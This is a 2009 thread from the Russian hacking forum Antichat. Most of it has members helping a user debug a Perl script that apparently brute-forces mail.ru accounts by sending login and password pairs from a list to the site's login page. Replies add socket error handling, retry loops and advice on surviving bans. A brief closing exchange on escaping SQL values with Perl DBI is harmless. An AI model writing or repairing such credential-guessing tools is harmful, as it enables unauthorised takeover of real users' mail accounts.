Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

09.09.2009, 22:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Но http:// то зачем дописывать?
|
|
|

09.09.2009, 22:38
|
|
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме: 31294
Репутация:
0
|
|
Убрал http:// та же ошибка 
|
|
|

09.09.2009, 23:20
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
iveyk
Код:
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80);
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".
Здесь не учитываются возможные ошибки при создании сокета. Т.е. надо добавить что то вроде:
Код:
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or {unshift(@pass, $pass); Brut(); exit()};
Последний раз редактировалось cr0w; 09.09.2009 в 23:28..
|
|
|

09.09.2009, 23:38
|
|
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме: 31294
Репутация:
0
|
|
Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал 
|
|
|

09.09.2009, 23:59
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Сообщение от iveyk
Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал 
Я ж тебе объясняю, что ошибка в том, что сокет может и не создаться, а скрипт это не проверяет и пытается отправлять в него данные.
Я привел очень примерный код обработки ошибок при создании сокета. Код я тот уже слегка поправил - теперь там просто рекурсивный вызов поточной функции, а затем завершение потока. Вообще, рекурсия здесь далеко не лучшее решение, т.к. она может получиться очень глубокой. Поэтому лучше сделать как-то так:
Код:
my $sock;
while (!$sock) {$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or sleep(1)}
add: А еще лучше счетчик числа попыток подключений туда добавить, а то сервер может уйти в даун/забанить/и т.д., а скрипт будет зазря работать в бесконечном цикле. Сам разберешься с этим или помочь? (;
Последний раз редактировалось cr0w; 10.09.2009 в 00:50..
|
|
|

10.09.2009, 00:16
|
|
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме: 31294
Репутация:
0
|
|
Помочь, если не трудно  я так понимаю у меня ни один сокет несоздаётся  т.к. perl в инет даже невыходит
|
|
|

10.09.2009, 00:22
|
|
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме: 31294
Репутация:
0
|
|
p.s. мне пишет что ошибка возникает в этой строке:
Код:
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". "Host: ".$prefix.".mail.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: ".$agents[$random]."\r\n". "Connection: close\r\n\r\n";
|
|
|

10.09.2009, 00:40
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
Сообщение от iveyk
Помочь, если не трудно  я так понимаю у меня ни один сокет несоздаётся  т.к. perl в инет даже невыходит
Проверь что-ли настройки файрволла. Вот скриптик:
Код:
use LWP::Simple; print get('http://mail.ru')
- должен возвращать код страницы сайта, если все норм.
Сообщение от iveyk
p.s. мне пишет что ошибка возникает в этой строке:
Это видно из твоего первого сообщения... 
|
|
|

14.09.2009, 22:30
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Есть следующий кодес:
Код:
my $q=new CGI;
$dbh = DBI->connect(..
my $uid=($q->cookie('uid') or '');
my $sth = $dbh->prepare("SELECT id,cust_id FROM ad_session WHERE id=? AND ip=? AND useragent=?");
$sth->execute($uid, $ENV{REMOTE_ADDR}, $ENV{HTTP_USER_AGENT});
Интересует, есть ли в функции DBI::execute аналог addslashes \ mysql_escape \ etc? С перлом не дружу ..
|
|
|

14.09.2009, 22:51
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
quote
$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);
Quote a string literal for use as a literal value in an SQL statement, by escaping any special characters (such as quotation marks) contained within the string and adding the required type of outer quotation marks.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|